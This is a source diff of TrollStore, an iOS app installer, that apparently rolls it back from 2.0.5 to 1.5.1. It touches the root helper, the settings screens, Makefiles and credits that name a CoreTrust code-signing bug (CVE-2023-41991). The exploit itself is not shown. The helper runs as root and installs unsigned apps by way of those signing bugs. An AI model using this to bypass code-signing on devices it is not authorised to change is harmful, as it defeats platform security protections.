BOOL suc = NO;
NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString];
suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:error];
if(!suc) return NO;
extract(ipaPath, tmpPath);
NSString* tmpPayloadPath = [tmpPath stringByAppendingPathComponent:@"Payload"];
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:tmpPayloadPath error:error];
if(!items) return NO;
NSString* tmpAppPath;
for(NSString* item in items)
{
if([item.pathExtension isEqualToString:@"app"])
{
tmpAppPath = [tmpPayloadPath stringByAppendingPathComponent:item];
break;
}
}
if(!tmpAppPath) return NO;
NSString* appId = appIdForAppPath(tmpAppPath);
suc = installApp(tmpAppPath, appId, YES, error);
[[NSFileManager defaultManager] removeItemAtPath:tmpAppPath error:nil];
return suc;
}
void uninstallAllApps(void)
{
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:TROLLSTORE_APPLICATIONS_PATH error:nil];
for(NSString* appId in items)
{
NSString* appPath = appPathForAppId(appId, nil);
registerPath(appPath, YES);
}
[[NSFileManager defaultManager] removeItemAtPath:TROLLSTORE_ROOT_PATH error:nil];
}
BOOL uninstallTrollStore(void)
{
NSString* trollStore = [TROLLSTORE_MAIN_PATH stringByAppendingPathComponent:@"TrollStore.app"];
if(![[NSFileManager defaultManager] fileExistsAtPath:trollStore]) return NO;
registerPath(trollStore, YES);
return [[NSFileManager defaultManager] removeItemAtPath:trollStore error:nil];
}
BOOL installTrollStore(NSString* pathToTar)
{
_CFPreferencesSetValueWithContainerType _CFPreferencesSetValueWithContainer = (_CFPreferencesSetValueWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSetValueWithContainer");
_CFPreferencesSynchronizeWithContainerType _CFPreferencesSynchronizeWithContainer = (_CFPreferencesSynchronizeWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSynchronizeWithContainer");
_CFPreferencesSetValueWithContainer(CFSTR("SBShowNonDefaultSystemApps"), kCFBooleanTrue, CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer);
_CFPreferencesSynchronizeWithContainer(CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer);
if(![[NSFileManager defaultManager] fileExistsAtPath:pathToTar]) return NO;
if(![pathToTar.pathExtension isEqualToString:@"tar"]) return NO;
NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString];
BOOL suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:nil];
if(!suc) return NO;
extract(pathToTar, tmpPath);
NSLog(@"installTrollStore extracted %@ to %@", pathToTar, tmpPath);
NSString* tmpTrollStore = [tmpPath stringByAppendingPathComponent:@"TrollStore.app"];
if(![[NSFileManager defaultManager] fileExistsAtPath:tmpTrollStore]) return NO;
NSLog(@"installTrollStore temp TrollStore path: %@", tmpTrollStore);
NSString* tmpTrollStoreMain = [tmpTrollStore stringByAppendingPathComponent:@"TrollStore"];
NSString* tmpTrollStoreRootHelper = [tmpTrollStore stringByAppendingPathComponent:@"trollstorehelper"];
NSString* tmpTrollStoreLdid = [tmpTrollStore stringByAppendingPathComponent:@"ldid"];
// make executable
chmod(tmpTrollStoreMain.UTF8String, 0755);
chmod(tmpTrollStoreRootHelper.UTF8String, 0755);
chmod(tmpTrollStoreLdid.UTF8String, 0755);
// set owners
chown(tmpTrollStoreMain.UTF8String, 33, 33);
chown(tmpTrollStoreRootHelper.UTF8String, 0, 0); // set root helper binary owner to root
chown(tmpTrollStoreLdid.UTF8String, 0, 0);
NSLog(@"installTrollStore extracted and prepared TrollStore app, now installing...");
installApp(tmpTrollStore, @"com.apple.TrollStore", NO, nil);
[[NSFileManager defaultManager] removeItemAtPath:tmpPath error:nil];
return YES;
}
int main(int argc, char *argv[], char *envp[]) {
@autoreleasepool {
if(argc <= 1) return -1;
NSLog(@"trollstore helper go, uid: %d, gid: %d", getuid(), getgid());
NSLog(@"ok %d", argc);
NSBundle* mcmBundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/MobileContainerManager.framework"];
[mcmBundle load];
BOOL suc = NO;
NSError* error;
NSString* cmd = [NSString stringWithUTF8String:argv[1]];
if([cmd isEqualToString:@"install"])
{
if(argc <= 2) return -2;
NSString* ipaPath = [NSString stringWithUTF8String:argv[2]];
suc = installIpa(ipaPath, &error);
} else if([cmd isEqualToString:@"uninstall"])
{
if(argc <= 2) return -2;
NSString* appId = [NSString stringWithUTF8String:argv[2]];
suc = uninstallApp(appId, &error);
} else if([cmd isEqualToString:@"install-trollstore"])
{
if(argc <= 2) return -2;
NSString* tsTar = [NSString stringWithUTF8String:argv[2]];
suc = installTrollStore(tsTar);
NSLog(@"installed troll store? %d", suc);
} else if([cmd isEqualToString:@"uninstall-trollstore"])
{
uninstallTrollStore();
uninstallAllApps();
}
if(!suc)
{
NSLog(@"error: %@", error);
}
return !suc;
}
}

View File

@ -5,7 +5,7 @@
@interface TSListControllerShared : PSListController
- (BOOL)isTrollStore;
- (NSString*)getTrollStoreVersion;
- (void)downloadTrollStoreAndRun:(void (^)(NSString* localTrollStoreTarPath))doHandler;
- (void)downloadTrollStoreAndDo:(void (^)(NSString* localTrollStoreTarPath))doHandler;
- (void)installTrollStorePressed;
- (void)updateTrollStorePressed;
- (void)rebuildIconCachePressed;

View File

@ -25,7 +25,7 @@
}
}
- (void)downloadTrollStoreAndRun:(void (^)(NSString* localTrollStoreTarPath))doHandler
- (void)downloadTrollStoreAndDo:(void (^)(NSString* localTrollStoreTarPath))doHandler
{
NSURL* trollStoreURL = [NSURL URLWithString:@"https://github.com/opa334/TrollStore/releases/latest/download/TrollStore.tar"];
NSURLRequest* trollStoreRequest = [NSURLRequest requestWithURL:trollStoreURL];
@ -59,7 +59,7 @@
[downloadTask resume];
}
- (void)_installTrollStoreComingFromUpdateFlow:(BOOL)update
- (void)_updateOrInstallTrollStore:(BOOL)update
{
if(update)
{
@ -70,7 +70,7 @@
[TSPresentationDelegate startActivity:@"Installing TrollStore"];
}
[self downloadTrollStoreAndRun:^(NSString* tmpTarPath)
[self downloadTrollStoreAndDo:^(NSString* tmpTarPath)
{
int ret = spawnRoot(rootHelperPath(), @[@"install-trollstore", tmpTarPath], nil, nil);
[[NSFileManager defaultManager] removeItemAtPath:tmpTarPath error:nil];
@ -112,12 +112,12 @@
- (void)installTrollStorePressed
{
[self _installTrollStoreComingFromUpdateFlow:NO];
[self _updateOrInstallTrollStore:NO];
}
- (void)updateTrollStorePressed
{
[self _installTrollStoreComingFromUpdateFlow:YES];
[self _updateOrInstallTrollStore:YES];
}
- (void)rebuildIconCachePressed

View File

@ -4,7 +4,7 @@
#define TrollStoreErrorDomain @"TrollStoreErrorDomain"
extern void chineseWifiFixup(void);
extern NSString *getExecutablePath(void);
extern NSString* safe_getExecutablePath();
extern NSString* rootHelperPath(void);
extern NSString* getNSStringFromFile(int fd);
extern void printMultilineNSString(NSString* stringToPrint);

View File

@ -3,7 +3,6 @@
#import <Foundation/Foundation.h>
#import <spawn.h>
#import <sys/sysctl.h>
#import <mach-o/dyld.h>
@interface PSAppDataUsagePolicyCache : NSObject
+ (instancetype)sharedInstance;
@ -27,18 +26,17 @@ void chineseWifiFixup(void)
}
}
NSString *getExecutablePath(void)
extern char*** _NSGetArgv();
NSString* safe_getExecutablePath()
{
uint32_t len = PATH_MAX;
char selfPath[len];
_NSGetExecutablePath(selfPath, &len);
return [NSString stringWithUTF8String:selfPath];
char* executablePathC = **_NSGetArgv();
return [NSString stringWithUTF8String:executablePathC];
}
#ifdef EMBEDDED_ROOT_HELPER
NSString* rootHelperPath(void)
{
return getExecutablePath();
return safe_getExecutablePath();
}
#else
NSString* rootHelperPath(void)

View File

@ -1,19 +1,8 @@
export EMBEDDED_ROOT_HELPER ?= 0
export LEGACY_CT_BUG ?= 0
TARGET := iphone:clang:16.4:14.0
INSTALL_TARGET_PROCESSES = TrollStorePersistenceHelper
ifdef CUSTOM_ARCHS
ARCHS = $(CUSTOM_ARCHS)
else
ARCHS = arm64
endif
ifneq ($(LEGACY_CT_BUG),1)
TARGET_CODESIGN = ../Exploits/fastPathSign/fastPathSign
endif
include $(THEOS)/makefiles/common.mk
APPLICATION_NAME = TrollStorePersistenceHelper
@ -22,13 +11,7 @@ TrollStorePersistenceHelper_FILES = $(wildcard *.m) $(wildcard ../Shared/*.m)
TrollStorePersistenceHelper_FRAMEWORKS = UIKit CoreGraphics CoreServices
TrollStorePersistenceHelper_PRIVATE_FRAMEWORKS = Preferences MobileContainerManager
TrollStorePersistenceHelper_CFLAGS = -fobjc-arc -I../Shared
ifeq ($(LEGACY_CT_BUG),1)
TrollStorePersistenceHelper_CODESIGN_FLAGS = -Sentitlements.plist -K../legacy.p12
TrollStorePersistenceHelper_CFLAGS += -DLEGACY_CT_BUG=1
else
TrollStorePersistenceHelper_CODESIGN_FLAGS = --entitlements entitlements.plist
endif
TrollStorePersistenceHelper_CODESIGN_FLAGS = -Sentitlements.plist -K../cert.p12
ifeq ($(EMBEDDED_ROOT_HELPER),1)
TrollStorePersistenceHelper_CFLAGS += -DEMBEDDED_ROOT_HELPER=1

View File

@ -52,7 +52,7 @@
<string>iPhoneOS</string>
</array>
<key>CFBundleVersion</key>
<string>2.0.5</string>
<string>1.5.1</string>
<key>LSRequiresIPhoneOS</key>
<true/>
<key>UIDeviceFamily</key>

View File

@ -37,10 +37,10 @@
{
_specifiers = [NSMutableArray new];
#ifdef LEGACY_CT_BUG
NSString* credits = @"Powered by Fugu15 CoreTrust & installd bugs, thanks to @LinusHenze\n\n© 2022-2023 Lars Fröder (opa334)";
#ifdef EMBEDDED_ROOT_HELPER
NSString* credits = @"Powered by Fugu15 CoreTrust & installd bugs, thanks to @LinusHenze\n\n© 2022 Lars Fröder (opa334)";
#else
NSString* credits = @"Powered by CVE-2023-41991, originally discovered by Google TAG, rediscovered via patchdiffing by @alfiecg_dev\n\n© 2022-2023 Lars Fröder (opa334)";
NSString* credits = @"Powered by Fugu15 CoreTrust bug, thanks to @LinusHenze\n\n© 2022 Lars Fröder (opa334)";
#endif
PSSpecifier* infoGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
@ -128,7 +128,7 @@
[_specifiers addObject:installTrollStoreSpecifier];
}
NSString* backupPath = [getExecutablePath() stringByAppendingString:@"_TROLLSTORE_BACKUP"];
NSString* backupPath = [safe_getExecutablePath() stringByAppendingString:@"_TROLLSTORE_BACKUP"];
if([[NSFileManager defaultManager] fileExistsAtPath:backupPath])
{
PSSpecifier* uninstallHelperGroupSpecifier = [PSSpecifier emptyGroupSpecifier];

View File

@ -1,6 +1,6 @@
Package: com.opa334.trollstorehelper
Name: TrollStore Helper
Version: 2.0.5
Version: 1.5.1
Architecture: iphoneos-arm
Description: Helper utility to install and manage TrollStore!
Maintainer: opa334

View File

@ -1,8 +1,5 @@
TARGET := iphone:clang:16.4:14.0
INSTALL_TARGET_PROCESSES = TrollStore
ARCHS = arm64
TARGET_CODESIGN = ../Exploits/fastPathSign/fastPathSign
include $(THEOS)/makefiles/common.mk
@ -13,6 +10,6 @@ TrollStore_FRAMEWORKS = UIKit CoreGraphics CoreServices
TrollStore_PRIVATE_FRAMEWORKS = Preferences MobileIcons MobileContainerManager
TrollStore_LIBRARIES = archive
TrollStore_CFLAGS = -fobjc-arc -I../Shared
TrollStore_CODESIGN_FLAGS = --entitlements entitlements.plist
TrollStore_CODESIGN_FLAGS = -Sentitlements.plist -K../cert.p12
include $(THEOS_MAKE_PATH)/application.mk

View File

@ -50,7 +50,7 @@
<string>iPhoneOS</string>
</array>
<key>CFBundleVersion</key>
<string>2.0.5</string>
<string>1.5.1</string>
<key>LSRequiresIPhoneOS</key>
<true/>
<key>UIDeviceFamily</key>

View File

@ -0,0 +1,17 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>application-identifier</key>
<string>TROLLTROLL.*</string>
<key>com.apple.developer.team-identifier</key>
<string>TROLLTROLL</string>
<key>get-task-allow</key>
<true/>
<key>keychain-access-groups</key>
<array>
<string>TROLLTROLL.*</string>
<string>com.apple.token</string>
</array>
</dict>
</plist>

View File

@ -53,14 +53,8 @@ extern NSUserDefaults* trollStoreUserDefaults();
case 174:
errorDescription = @"The app's main executable does not exist.";
break;
case 175: {
//if (@available(iOS 16, *)) {
// errorDescription = @"Failed to sign the app.";
//}
//else {
errorDescription = @"Failed to sign the app. ldid returned a non zero status code.";
//}
}
case 175:
errorDescription = @"Failed to sign the app. ldid returned a non zero status code.";
break;
case 176:
errorDescription = @"The app's Info.plist is missing required values.";

View File

@ -1,5 +0,0 @@
#import <Preferences/PSListController.h>
@interface TSDonateListController : PSListController
@end

View File

@ -1,61 +0,0 @@
#import "TSDonateListController.h"
#import <Preferences/PSSpecifier.h>
@implementation TSDonateListController
- (void)donateToAlfiePressed
{
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://ko-fi.com/alfiecg_dev"] options:@{} completionHandler:^(BOOL success){}];
}
- (void)donateToOpaPressed
{
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=opa334@protonmail.com&item_name=TrollStore"] options:@{} completionHandler:^(BOOL success){}];
}
- (NSMutableArray*)specifiers
{
if(!_specifiers)
{
_specifiers = [NSMutableArray new];
PSSpecifier* alfieGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
alfieGroupSpecifier.name = @"Alfie";
[alfieGroupSpecifier setProperty:@"Alfie found the new CoreTrust bug (CVE-2023-41991) via patchdiffing, produced a POC binary and worked on automatically applying it with the help of the ChOma library, while also contributing to said library." forKey:@"footerText"];
[_specifiers addObject:alfieGroupSpecifier];
PSSpecifier* alfieDonateSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Donate to alfiecg_dev"
target:self
set:nil
get:nil
detail:nil
cell:PSButtonCell
edit:nil];
alfieDonateSpecifier.identifier = @"donateToAlfie";
[alfieDonateSpecifier setProperty:@YES forKey:@"enabled"];
alfieDonateSpecifier.buttonAction = @selector(donateToAlfiePressed);
[_specifiers addObject:alfieDonateSpecifier];
PSSpecifier* opaGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
opaGroupSpecifier.name = @"Opa";
[opaGroupSpecifier setProperty:@"Opa developed the ChOma library, helped with automating the bug using it and integrated it into TrollStore." forKey:@"footerText"];
[_specifiers addObject:opaGroupSpecifier];
PSSpecifier* opaDonateSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Donate to opa334"
target:self
set:nil
get:nil
detail:nil
cell:PSButtonCell
edit:nil];
opaDonateSpecifier.identifier = @"donateToOpa";
[opaDonateSpecifier setProperty:@YES forKey:@"enabled"];
opaDonateSpecifier.buttonAction = @selector(donateToOpaPressed);
[_specifiers addObject:opaDonateSpecifier];
}
[(UINavigationItem *)self.navigationItem setTitle:@"Donate"];
return _specifiers;
}
@end

View File

@ -76,17 +76,15 @@
// or if it's the one from an old TrollStore version that's no longer supported
- (void)handleLdidCheck
{
//if (@available(iOS 16, *)) {} else {
NSString* tsAppPath = [NSBundle mainBundle].bundlePath;
NSString* tsAppPath = [NSBundle mainBundle].bundlePath;
NSString* ldidPath = [tsAppPath stringByAppendingPathComponent:@"ldid"];
NSString* ldidVersionPath = [tsAppPath stringByAppendingPathComponent:@"ldid.version"];
NSString* ldidPath = [tsAppPath stringByAppendingPathComponent:@"ldid"];
NSString* ldidVersionPath = [tsAppPath stringByAppendingPathComponent:@"ldid.version"];
if(![[NSFileManager defaultManager] fileExistsAtPath:ldidPath] || ![[NSFileManager defaultManager] fileExistsAtPath:ldidVersionPath])
{
[TSInstallationController installLdid];
}
//}
if(![[NSFileManager defaultManager] fileExistsAtPath:ldidPath] || ![[NSFileManager defaultManager] fileExistsAtPath:ldidVersionPath])
{
[TSInstallationController installLdid];
}
}
- (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session options:(UISceneConnectionOptions *)connectionOptions {

View File

@ -5,7 +5,6 @@
#import <TSPresentationDelegate.h>
#import "TSInstallationController.h"
#import "TSSettingsAdvancedListController.h"
#import "TSDonateListController.h"
@interface NSUserDefaults (Private)
- (instancetype)_initWithSuiteName:(NSString *)suiteName container:(NSURL *)container;
@ -34,27 +33,25 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
}
});
//if (@available(iOS 16, *)) {} else {
fetchLatestLdidVersion(^(NSString* latestVersion)
fetchLatestLdidVersion(^(NSString* latestVersion)
{
NSString* ldidVersionPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"ldid.version"];
NSString* ldidVersion = nil;
NSData* ldidVersionData = [NSData dataWithContentsOfFile:ldidVersionPath];
if(ldidVersionData)
{
NSString* ldidVersionPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"ldid.version"];
NSString* ldidVersion = nil;
NSData* ldidVersionData = [NSData dataWithContentsOfFile:ldidVersionPath];
if(ldidVersionData)
{
ldidVersion = [[NSString alloc] initWithData:ldidVersionData encoding:NSUTF8StringEncoding];
}
ldidVersion = [[NSString alloc] initWithData:ldidVersionData encoding:NSUTF8StringEncoding];
}
if(![latestVersion isEqualToString:ldidVersion])
if(![latestVersion isEqualToString:ldidVersion])
{
_newerLdidVersion = latestVersion;
dispatch_async(dispatch_get_main_queue(), ^
{
_newerLdidVersion = latestVersion;
dispatch_async(dispatch_get_main_queue(), ^
{
[self reloadSpecifiers];
});
}
});
//}
[self reloadSpecifiers];
});
}
});
}
- (NSMutableArray*)specifiers
@ -113,82 +110,80 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
[_specifiers addObject:rebuildIconCacheSpecifier];
//if (@available(iOS 16, *)) { } else {
NSString* ldidPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"ldid"];
NSString* ldidVersionPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"ldid.version"];
BOOL ldidInstalled = [[NSFileManager defaultManager] fileExistsAtPath:ldidPath];
NSString* ldidPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"ldid"];
NSString* ldidVersionPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"ldid.version"];
BOOL ldidInstalled = [[NSFileManager defaultManager] fileExistsAtPath:ldidPath];
NSString* ldidVersion = nil;
NSData* ldidVersionData = [NSData dataWithContentsOfFile:ldidVersionPath];
if(ldidVersionData)
NSString* ldidVersion = nil;
NSData* ldidVersionData = [NSData dataWithContentsOfFile:ldidVersionPath];
if(ldidVersionData)
{
ldidVersion = [[NSString alloc] initWithData:ldidVersionData encoding:NSUTF8StringEncoding];
}
PSSpecifier* signingGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
signingGroupSpecifier.name = @"Signing";
if(ldidInstalled)
{
[signingGroupSpecifier setProperty:@"ldid is installed and allows TrollStore to install unsigned IPA files." forKey:@"footerText"];
}
else
{
[signingGroupSpecifier setProperty:@"In order for TrollStore to be able to install unsigned IPAs, ldid has to be installed using this button. It can't be directly included in TrollStore because of licensing issues." forKey:@"footerText"];
}
[_specifiers addObject:signingGroupSpecifier];
if(ldidInstalled)
{
NSString* installedTitle = @"ldid: Installed";
if(ldidVersion)
{
ldidVersion = [[NSString alloc] initWithData:ldidVersionData encoding:NSUTF8StringEncoding];
installedTitle = [NSString stringWithFormat:@"%@ (%@)", installedTitle, ldidVersion];
}
PSSpecifier* signingGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
signingGroupSpecifier.name = @"Signing";
PSSpecifier* ldidInstalledSpecifier = [PSSpecifier preferenceSpecifierNamed:installedTitle
target:self
set:nil
get:nil
detail:nil
cell:PSStaticTextCell
edit:nil];
[ldidInstalledSpecifier setProperty:@NO forKey:@"enabled"];
ldidInstalledSpecifier.identifier = @"ldidInstalled";
[_specifiers addObject:ldidInstalledSpecifier];
if(ldidInstalled)
if(_newerLdidVersion && ![_newerLdidVersion isEqualToString:ldidVersion])
{
[signingGroupSpecifier setProperty:@"ldid is installed and allows TrollStore to install unsigned IPA files." forKey:@"footerText"];
NSString* updateTitle = [NSString stringWithFormat:@"Update to %@", _newerLdidVersion];
PSSpecifier* ldidUpdateSpecifier = [PSSpecifier preferenceSpecifierNamed:updateTitle
target:self
set:nil
get:nil
detail:nil
cell:PSButtonCell
edit:nil];
ldidUpdateSpecifier.identifier = @"updateLdid";
[ldidUpdateSpecifier setProperty:@YES forKey:@"enabled"];
ldidUpdateSpecifier.buttonAction = @selector(installOrUpdateLdidPressed);
[_specifiers addObject:ldidUpdateSpecifier];
}
else
{
[signingGroupSpecifier setProperty:@"In order for TrollStore to be able to install unsigned IPAs, ldid has to be installed using this button. It can't be directly included in TrollStore because of licensing issues." forKey:@"footerText"];
}
[_specifiers addObject:signingGroupSpecifier];
if(ldidInstalled)
{
NSString* installedTitle = @"ldid: Installed";
if(ldidVersion)
{
installedTitle = [NSString stringWithFormat:@"%@ (%@)", installedTitle, ldidVersion];
}
PSSpecifier* ldidInstalledSpecifier = [PSSpecifier preferenceSpecifierNamed:installedTitle
target:self
set:nil
get:nil
detail:nil
cell:PSStaticTextCell
edit:nil];
[ldidInstalledSpecifier setProperty:@NO forKey:@"enabled"];
ldidInstalledSpecifier.identifier = @"ldidInstalled";
[_specifiers addObject:ldidInstalledSpecifier];
if(_newerLdidVersion && ![_newerLdidVersion isEqualToString:ldidVersion])
{
NSString* updateTitle = [NSString stringWithFormat:@"Update to %@", _newerLdidVersion];
PSSpecifier* ldidUpdateSpecifier = [PSSpecifier preferenceSpecifierNamed:updateTitle
target:self
set:nil
get:nil
detail:nil
cell:PSButtonCell
edit:nil];
ldidUpdateSpecifier.identifier = @"updateLdid";
[ldidUpdateSpecifier setProperty:@YES forKey:@"enabled"];
ldidUpdateSpecifier.buttonAction = @selector(installOrUpdateLdidPressed);
[_specifiers addObject:ldidUpdateSpecifier];
}
}
else
{
PSSpecifier* installLdidSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Install ldid"
target:self
set:nil
get:nil
detail:nil
cell:PSButtonCell
edit:nil];
installLdidSpecifier.identifier = @"installLdid";
[installLdidSpecifier setProperty:@YES forKey:@"enabled"];
installLdidSpecifier.buttonAction = @selector(installOrUpdateLdidPressed);
[_specifiers addObject:installLdidSpecifier];
}
//}
}
else
{
PSSpecifier* installLdidSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Install ldid"
target:self
set:nil
get:nil
detail:nil
cell:PSButtonCell
edit:nil];
installLdidSpecifier.identifier = @"installLdid";
[installLdidSpecifier setProperty:@YES forKey:@"enabled"];
installLdidSpecifier.buttonAction = @selector(installOrUpdateLdidPressed);
[_specifiers addObject:installLdidSpecifier];
}
PSSpecifier* persistenceGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
persistenceGroupSpecifier.name = @"Persistence";
@ -293,7 +288,7 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
[_specifiers addObject:installAlertConfigurationSpecifier];
PSSpecifier* otherGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
[otherGroupSpecifier setProperty:[NSString stringWithFormat:@"TrollStore %@\n\n© 2022-2023 Lars Fröder (opa334)\n\nTrollStore is NOT for piracy!\n\nCredits:\nGoogle TAG, @alfiecg_dev: CoreTrust bug\n@lunotech11, @SerenaKit, @tylinux, @TheRealClarity: Various contributions\n@ProcursusTeam: uicache, ldid\n@cstar_ow: uicache\n@saurik: ldid", [self getTrollStoreVersion]] forKey:@"footerText"];
[otherGroupSpecifier setProperty:[NSString stringWithFormat:@"TrollStore %@\n\n© 2022 Lars Fröder (opa334)\n\nTrollStore is NOT for piracy!\n\nCredits:\n@LinusHenze: CoreTrust bug\n@zhuowei: CoreTrust bug writeup and cert\n@lunotech11, @SerenaKit, @tylinux: Various contributions\n@ProcursusTeam: uicache and ldid build\n@cstar_ow: uicache\n@saurik: ldid", [self getTrollStoreVersion]] forKey:@"footerText"];
[_specifiers addObject:otherGroupSpecifier];
PSSpecifier* advancedLinkSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Advanced"
@ -307,17 +302,6 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
[advancedLinkSpecifier setProperty:@YES forKey:@"enabled"];
[_specifiers addObject:advancedLinkSpecifier];
PSSpecifier* donateSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Donate"
target:self
set:nil
get:nil
detail:nil
cell:PSLinkListCell
edit:nil];
donateSpecifier.detailControllerClass = [TSDonateListController class];
[donateSpecifier setProperty:@YES forKey:@"enabled"];
[_specifiers addObject:donateSpecifier];
// Uninstall TrollStore
PSSpecifier* uninstallTrollStoreSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Uninstall TrollStore"
target:self

View File

@ -1,6 +1,6 @@
Package: com.opa334.trollstore
Name: TrollStore
Version: 2.0.5
Version: 1.5.1
Architecture: iphoneos-arm
Description: An awesome application!
Maintainer: opa334